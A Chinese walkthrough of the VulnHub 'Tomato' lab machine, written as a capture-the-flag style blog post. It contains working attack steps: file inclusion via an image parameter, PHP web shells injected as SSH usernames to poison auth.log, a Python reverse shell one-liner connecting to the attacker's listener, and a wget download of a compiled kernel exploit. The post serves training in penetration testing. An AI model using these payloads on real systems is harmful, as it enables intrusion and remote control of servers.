当前位置: 首页 > news >正文

vulnhub靶机:Tomato

目录

靶机导入

信息收集

发现 IP

目录扫描

端口扫描

访问 web

漏洞利用

方法1:报错连接拿 shell

方法2: 使用python3进行反弹shell

提权


靶机导入

tomato 下载地址:Tomato: 1 ~ VulnHub

信息收集

发现 IP

arp-scan -l

发现靶机 IP 是 192.168.109.148

攻击机 kali 的 IP 是 192.168.109.139

目录扫描

dirb http://192.168.109.148/

端口扫描

nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口

访问 web

访问扫目录扫出来的 antibot _image目录

http://192.168.109.148/antibot_image/

右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用

在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)

?image=/etc/passwd

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,重新扫一下

-A:这个选项启用了“侵略性扫描”,包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口

方法1:报错连接拿 shell

kali 2024 版本的会报错,2023 版本的可以

我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了

ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功

用蚁剑连接试试

?image=/var/log/auth.log

成功拿到整个网站的目录信息

方法2: 使用python3进行反弹shell

写入一句话木马:

ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211

尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功

?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问

?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell

使用下面命令生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权

查看系统内核版本:

uname -a  

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:

searchsploit ubuntu 4.4.0-21  

尝试发现可以使用45010,下载该包

searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

gcc 45010.c -o exp
ls

开启http服务

python3 -m http.server 80  

到tmp目录下下载提权poc

cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功

./exp

但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23

ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了

相关文章:

  • 【Spring】详细了解静态代理和动态代理的使用
  • Android读取拨号记录功能
  • 【九】Hadoop3.3.4HA高可用配置
  • Vue3 + js-echarts 实现前端大屏可视化
  • java计算机毕设课设—网上招聘系统(附源码、文章、相关截图、部署视频)
  • 扩展------零拷贝技术(Mmap,SendFile)
  • 统计语言模型——Ngram
  • SpringMVC 工作流程简述
  • 2024年华数杯数学建模竞赛——赛题浅析
  • FFmpeg实现文件夹多视频合并
  • 使用Python创建多功能文件管理器
  • AcWing食物链
  • Lua 脚本编程基础
  • 搭建nexus上传jar包,并结合jenkins运行项目
  • OpenCV||超细节的基本操作
  • $translatePartialLoader加载失败及解决方式
  • [case10]使用RSQL实现端到端的动态查询
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • Android组件 - 收藏集 - 掘金
  • Centos6.8 使用rpm安装mysql5.7
  • Computed property XXX was assigned to but it has no setter
  • Docker 笔记(1):介绍、镜像、容器及其基本操作
  • rc-form之最单纯情况
  • storm drpc实例
  • webpack4 一点通
  • webpack项目中使用grunt监听文件变动自动打包编译
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 前端面试总结(at, md)
  • 前端之React实战:创建跨平台的项目架构
  • 深入体验bash on windows,在windows上搭建原生的linux开发环境,酷!
  • 我与Jetbrains的这些年
  • 【云吞铺子】性能抖动剖析(二)
  • 昨天1024程序员节,我故意写了个死循环~
  • ​草莓熊python turtle绘图代码(玫瑰花版)附源代码
  • ​如何在iOS手机上查看应用日志
  • # AI产品经理的自我修养:既懂用户,更懂技术!
  • # Kafka_深入探秘者(2):kafka 生产者
  • #git 撤消对文件的更改
  • ()、[]、{}、(())、[[]]命令替换
  • (02)Hive SQL编译成MapReduce任务的过程
  • (02)vite环境变量配置
  • (12)Linux 常见的三种进程状态
  • (20)目标检测算法之YOLOv5计算预选框、详解anchor计算
  • (21)起落架/可伸缩相机支架
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (solr系列:一)使用tomcat部署solr服务
  • (附源码)springboot工单管理系统 毕业设计 964158
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (附源码)计算机毕业设计ssm电影分享网站
  • (每日持续更新)jdk api之FileFilter基础、应用、实战
  • (欧拉)openEuler系统添加网卡文件配置流程、(欧拉)openEuler系统手动配置ipv6地址流程、(欧拉)openEuler系统网络管理说明
  • (十三)Flink SQL
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))